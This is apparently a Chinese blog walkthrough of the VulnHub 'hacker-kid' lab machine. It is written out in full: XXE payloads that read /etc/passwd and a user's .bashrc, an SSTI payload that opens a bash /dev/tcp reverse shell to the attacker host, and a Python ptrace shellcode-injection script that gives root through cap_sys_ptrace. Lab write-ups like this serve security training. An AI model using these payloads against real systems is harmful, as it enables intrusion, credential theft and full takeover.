当前位置: 首页 > news >正文

vulnhub靶场之【hacker-kid】靶机

前言

长时间没有更新了,本人目前因为刚找到工作不久,需要时间适应,所以到现在很长时间没有更新,对大家,我很是抱歉,后面会更新,只是时间可能不固定了,希望大家能理解一下。(ps:目前工作和渗透没有关系,倒是接触到几个安防设备)

靶机:hacker-kid靶机,IP地址为192.168.5.8

攻击:kali,IP地址为192.168.5.7

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,因为我的网盘到期了,暂时不放网盘链接了

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.5.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.5.7 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.5.7 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口很少,过滤的偏多,但是记住有过滤的。下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.5.7 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.5.7 -p $ports -oA vuln

网站信息收集

访问80端口进行查看

这就是去寻找,查看页面源代码并未发现信息

现在尝试进行目录爆破,使用gobuster、dirsearch、ffuf、dirb等工具进行测试

gobuster dir -u http://192.168.5.7 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

可以看到几个目录,访问app.html

界面是这样的,但是查看页面源代码以及实际测试后,发现点击任何地方,都是在当前页面,也就是超链接指向的是#

访问form.html界面

经过测试,以及查看页面源代码,并没有发现可疑之处

访问其他的几个目录,也没有任何效果

访问9999端口,发现有趣的地方,是一个登录界面

查看页面源代码,发现其form表单是对数据进行处理的,那么这里就可能是一个可用点

尝试进行相关的测试,发现不存在sql注入。并且如果爆破的话,时间太久,这个最后考虑

信息回顾

再次回顾,看有无遗漏点

发现在80端口的默认界面的页面源代码是有遗漏的,是指定的一个参数page_no,在上面的截图中可疑看到,这里也放一下吧

那么对这个进行测试,确定这个参数有什么东西

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.5.7/?page_no=FUZZ -fs 3654

看到当参数page_no的值为21时,所显示的页面字节大小是不同于默认的,访问查看一下

这里提到一个域名hackers.blackhat.local,并且说可能有很多子域名,所以需要进行子域名的挖掘

域名挖掘

这里因为是本地的搭建,所以需要借助dig中的语法,实现通过指定目标进行挖掘

dig hackers.blackhat.local @192.168.5.7

这里就是把目标ip中涉及到的域名给挖掘了

这时候,把这几个域名和目标ip进行绑定

hackers.blackhat.local
blackhat.local
hackerkid.blackhat.local

linuxwindows两个操作系统中,都是通过编辑hosts文件绑定解析,不过位置不同

分别访问这三个域名,最终在hackerkid.blackhat.local发现不同的界面

XXE漏洞

直接输入测试,发现提示邮箱错误,并且是显示出的,但是邮箱的格式并没有问题,使用burp抓取数据包进行查看,发现在点击注册后,请求数据是以xml的形式请求的,那么是否存在相关漏洞呢,进行测试

//这里是原始的请求数据
<?xml version="1.0" encoding="UTF-8"?><root><name>admin</name><tel>123</tel><email>123@123.com</email><password>12345</password></root>

提示如下

那么是否这里的email参数,我写什么,就会回显什么,若是带有注入的呢,对数据进行修改,再进行测试

//这里是修改后的数据
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><root><name>admin</name><tel>123</tel><email>&xxe;</email><password>12345</password></root>

可以看到,对于文件访问,可以直接查看的,并且在/etc/passwd文件中,还是发现有一个用户saket的,截图没有截取,但是是有的,且目录是/home/saket

这里并没有ssh,所以知道这个用户名及家目录,能获取到的,就需要测试了

通过测试远程代码执行,发现 expect://是不行的

<!DOCTYPE email [<!ENTITY xxe SYSTEM "expect://id">
]>

那么尝试文件读取吧,因为有可能存在限制,所以采用php://filter,尝试读取在用户主目录下可能存在的文件,进行一个个的测试,当然最好的方式就是通过自己收集的字典去进行爆破

<!DOCTYPE email [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">
]>

如下面常见的文件

.bash_history
.profile
.zshrc
.bashrc
.ssh/id_rsa

然后进行爆破

可以看到两个文件读取到内容.profile.bashrc,尝试进行解码操作

.profile中并未看到有用的信息

.bashrc文件,发现用户名admin和密码Saket!#$%@!!

之前可以登录的地方,只有9999端口的网站,访问后,以这一组凭证进行登录,发现不对。

联想到文件是用户saket的,是否用户名为saket,测试发现确实是如此

查看页面源代码,也没有信息,这里只有说告诉它名字,联想到这里是按照对面的指示一步步的发现的,可能有参数吧,进行测试,根据提示先猜测是否是name,若不是再借助工具去进行爆破

确实是,查看页面源代码还是没有信息,不过经过测试,发现参数name的值,输入什么,就会显示什么,测试发现sql、xss注入并未有效果

SSTI注入

不过还有一种注入,是ssti注入,若是有可以显示用户输入的信息时,也可能存在的。

尝试输入特殊字符(如{{}}{% %}${}<%%>),观察页面是否直接显示输入内容,或是否出现异常报错。

模板引擎类型测试 Payload预期结果(存在漏洞)
Jinja2(Python){{7*7}}响应中出现49(计算结果)
FreeMarker(Java)${7+7}响应中出现14
Twig(PHP){{7*'7'[0]}}响应中出现7(字符串拼接)
EJS(Node.js)<%= 7*7 %>响应中出现49
Mako(Python)${7+7}响应中出现14
Velocity(Java)#set($a=7+7) $a响应中出现14
  • {}被过滤

    ,尝试:

    • {%7*7%}(Jinja2 标签语法)
    • <%%=7*7%>(EJS 标签语法)

测试后,发现在{{}}{%%}时,出现报错,那么极有可能存在注入,进行测试{{7*7}},发现返回49,说明确实渲染了

构造语句,进行反弹shell

{%import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.5.8/9999 0>&1"')}}
#进行url编码,因为在url请求中,最好进行编码处理
{%import%20os%}{{os.system(%27bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/192.168.5.8/9999%200%3E&1%22%27)}}

kali中开启一个监听9999端口,然后执行上面的语句

python2的cap_sys_ptrace提权

首先收集信息,查看历史命令记录,发现多次使用python2.7执行inject.py,并且nc监听5600端口也是多次。还筛选了root的进程,啧,这什么意思

那么尝试使用getcap查看python2.7Capabilities权限

getcap

不过这里的明显是有限制的

所以需要指定/sbin/getcap,然后结合find去寻找一下吧

find / -type f -executable 2>/dev/null | xargs /sbin/getcap -r 2>/dev/null

看到,并没有cap_setuid+ep权限的文件,那么指向python2.7有什么寓意

再查看进程

ps -eaf|grep root

不清楚,暂时搁置

在经历漫长的测试后,有点迷茫,不知道该怎么提权了,因为该测试的都测试了,常规sudo,内核,上传脚本检测都有,提权是个问题

所以再回到这里思考,搜索Capabilities中对应的几个权限,尝试从这里下手

啧,看来要学的是挺多的,之前一直以为在cap_setuid+ep权限时可以提权,没想到不是这个权限的,还可以提升至该权限。

下面是根据网上的搜索,根据github上的项目进行的编写python脚本

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

大致说明一下,该脚本启动需要搭载在以root为主的进程中,所以需要筛选ps

然后启动后,以5600端口为介质,进行的提权操作

这里选择以apache的进程进行搭载

ps -eaf | grep root

然后在kali中使用EOF把上面的python代码写入到一个文件中inject.py,并给予执行权限

cat << 'EOF' > inject.py
>代码....>EOF	//表示结束

执行这个脚本

python2.7 inject.py 976

这里我虽然执行了,但是并没有在5600端口监听,所以还是选择进行遍历操作

编写下面代码

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

执行成功,大概就是这种样子

然后通过netstatss查看对应的5600端口

netstat -antulp | grep 5600
ss -antulp | grep 5600

这时在kali通过nc进行正向连接,即可获得root权限的终端

总结

该靶场的几个方面是我不太熟练的,通过这个靶机也是加深了印象

  1. dig指定目标进行对应的域名挖掘
  2. 隐藏信息的提示,不可忽略,所以要能看懂一些英文
  3. XXE漏洞的利用,获取关键信息
  4. 对于用户的主目录下的一些常见文件要有印象,或者有自己的一个字典
  5. SSTI注入的利用,这个要清楚
  6. 提权的Capabilities的几种权限,大致知道,并且要知道权限之间也是可以提升的

参考链接

  1. https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
  2. https://www.cnblogs.com/zlgxzswjy/p/15185591.html
http://www.xdnf.cn/news/31033.html

相关文章:

  • 洛谷 P2606 [ZJOI2010] 排列计数
  • 第六周作业
  • 详细的PyCharm安装教程
  • STL——红黑树的封装及map/set的模拟实现
  • 重读《人件》Peopleware -(7)Ⅰ管理人力资源Ⅵ-莱特瑞尔 Laetrile
  • 【后端】【python】Python 爬虫常用的框架解析
  • 如何保存服务器mysql数据库的数据到本地文件
  • Java 并发性能优化:线程池的最佳实践
  • nohup的使用
  • MySQL中常用函数的分类及示例
  • rpcrt4!COMMON_AddressManager函数分析之和全局变量rpcrt4!AddressList的关系
  • 面向新一代扩展现实(XR)应用的物联网框架
  • 打靶日记 zico2: 1
  • Qt编写推流程序/支持webrtc265/从此不用再转码/打开新世界的大门
  • 初始 Vue
  • Android 下拉栏中的禁用摄像头和麦克风隐藏
  • PH热榜 | 2025-04-19
  • 实现Azure Databricks安全地请求企业内部API返回数据
  • linux学习 5 正则表达式及通配符
  • 聊聊Spring AI Alibaba的ElasticsearchDocumentReader
  • JavaScript中的Event事件对象详解
  • 自由学习记录(56)
  • 背包 DP 详解
  • 【mongodb】数据库操作
  • TIM_ITConfig() 和 TIM_Cmd()
  • 当HTTP遇到SQL注入:Java开发者的攻防实战手册
  • 实用电脑工具,轻松实现定时操作
  • 《目标检测双雄:YOLO与Faster R-CNN,谁主沉浮?》
  • dotnet core webapi 实现 异常处理中间件
  • [密码学基础]GMT 0002-2012 SM4分组密码算法 技术规范深度解析